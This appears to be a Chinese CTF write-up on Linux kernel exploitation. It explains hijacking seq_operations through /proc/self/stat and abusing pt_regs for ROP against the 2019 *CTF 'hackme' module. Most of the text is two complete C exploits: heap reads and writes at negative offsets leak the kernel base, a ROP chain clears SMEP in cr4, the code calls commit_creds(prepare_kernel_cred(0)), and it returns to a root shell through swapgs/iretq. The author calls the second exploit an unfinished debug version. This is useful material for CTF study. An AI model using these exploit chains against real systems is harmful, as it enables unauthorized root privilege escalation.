kernel 劫持seq_operations && 利用pt_regs
劫持seq_operations进行栈迁移
seq_operations是一个大小为0x20的结构体，在打开/proc/self/stat会申请出来。里面定义了四个函数指针，通过他们可以泄露出内核基地址。
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m = iocb->ki_filp->private_data; //... p = m->op->start(m, &m->index); //... 即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。
拿2019 *starctf hackme关闭smap来尝试这种打法
exp1
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h> int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add(int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete(int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void get_shell() { if (getuid() == 0) { puts("[+] get root"); //system("/bin/sh"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } else { puts("[-] get shell error"); sleep(3); exit(0); } } void get_root(void) { //commit_creds(prepare_kernel_cred(0)); void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; void (*cc)(void *) = (void (*)(void *))commit_creds; (*cc)((*pkc)(0)); } int main() { char buf[0x1000] = {0}; int i; size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0); if(fd < 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 add(2, 0x20, buf); // 2 add(3, 0x20, buf); // 3 delete(0); delete(2); int fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(3, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=> 0x%lx/n", vmlinux_base); off = vmlinux_base - raw_vmlinux_base; commit_creds = off + 0xffffffff8104d220; prepare_kernel_cred = off + 0xffffffff8104d3d0; show(1, 0x20, -0x20, buf); heap_base = ((size_t *)buf)[0] - 0x80; printf("[+] heap_base=> 0x%lx/n", heap_base); i = 0; rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret; rop[i++] = 0x6f0; rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = 0; rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret; edit(3, 0x20, -0x20, buf); size_t fake_stack = (heap_base + 0x40) & 0xffffffff; size_t mmap_base = fake_stack & 0xfffff000; if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base) { puts("[-] mmap error"); sleep(3); exit(0); } else puts("[+] mmap success"); memcpy((void *)fake_stack, rop, sizeof(rop)); read(fd_seq, buf, 1); return 0; } 利用pt_regs
可以写一段如下汇编来控制程序执行流，再通过将寄存器押上栈进行ROP
__asm__( "mov r15, 0x1111111111;" "mov r14, 0x2222222222;" "mov r13, 0x3333333333;" "mov r12, 0x4444444444;" "mov rbp, 0x5555555555;" "mov rbx, 0x6666666666;" "mov r11, 0x7777777777;" "mov r10, 0x8888888888;" "mov r9, 0x9999999999;" "mov r8, 0xaaaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, fd_seq;" "xor rax, rax;" "syscall" ); 这是为什么呢？大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程，通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令： PUSH_AND_CLEAR_REGS rax=$-ENOSYS，这个指令很巧妙，他会把所有的寄存器压到栈上形成一个pt_regs结构体，位于内核栈底。
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ }; 这里寄存器r8-r15都会被放到栈上，如果我们可以合理控制好这些寄存器的值，再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置，那么就可以控制程序执行流，考虑到一般这里栈上连续存放的寄存器一般只有4-5个，我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL))，布局如下：
pop_rdi_ret; init_cred; commit_creds; swapgs_restore_regs_and_return_to_usermode; 由于我这里并没有能找到合适的add rsp, xxxh; ret;，故就留一个调试半成品exp
exp2:
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <sys/sem.h> #include <sys/mman.h> int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; int fd_seq; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add(int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete(int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show(int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void get_shell() { if (getuid() == 0) { puts("[+] get root"); //system("/bin/sh"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } else { puts("[-] get shell error"); sleep(3); exit(0); } } void get_root(void) { //commit_creds(prepare_kernel_cred(0)); void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; void (*cc)(void *) = (void (*)(void *))commit_creds; (*cc)((*pkc)(0)); } int main() { char buf[0x1000] = {0}; int i; size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0); if(fd < 0) { puts("[-] open file error"); exit(0); } add(0, 0x20, buf); // 0 add(1, 0x20, buf); // 1 delete(0); fd_seq = open("/proc/self/stat", 0); if(fd_seq < 0) { puts("[-] open stat error"); exit(0); } show(1, 0x20, -0x20, buf); vmlinux_base = ((size_t *)buf)[0] - 0xd30c0; printf("[+] vmlinux_base=> 0x%lx/n", vmlinux_base); off = vmlinux_base - raw_vmlinux_base; commit_creds = off + 0xffffffff8104d220; prepare_kernel_cred = off + 0xffffffff8104d3d0; size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret; ((size_t *)buf)[0] = gadget; edit(1, 0x20, -0x20, buf); __asm__( "mov r15, 0x1111111111;" "mov r14, 0x2222222222;" "mov r13, 0x3333333333;" "mov r12, 0x4444444444;" "mov rbp, 0x5555555555;" "mov rbx, 0x6666666666;" "mov r11, 0x7777777777;" "mov r10, 0x8888888888;" "mov r9, 0x9999999999;" "mov r8, 0xaaaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, fd_seq;" "xor rax, rax;" "syscall" ); return 0; } 
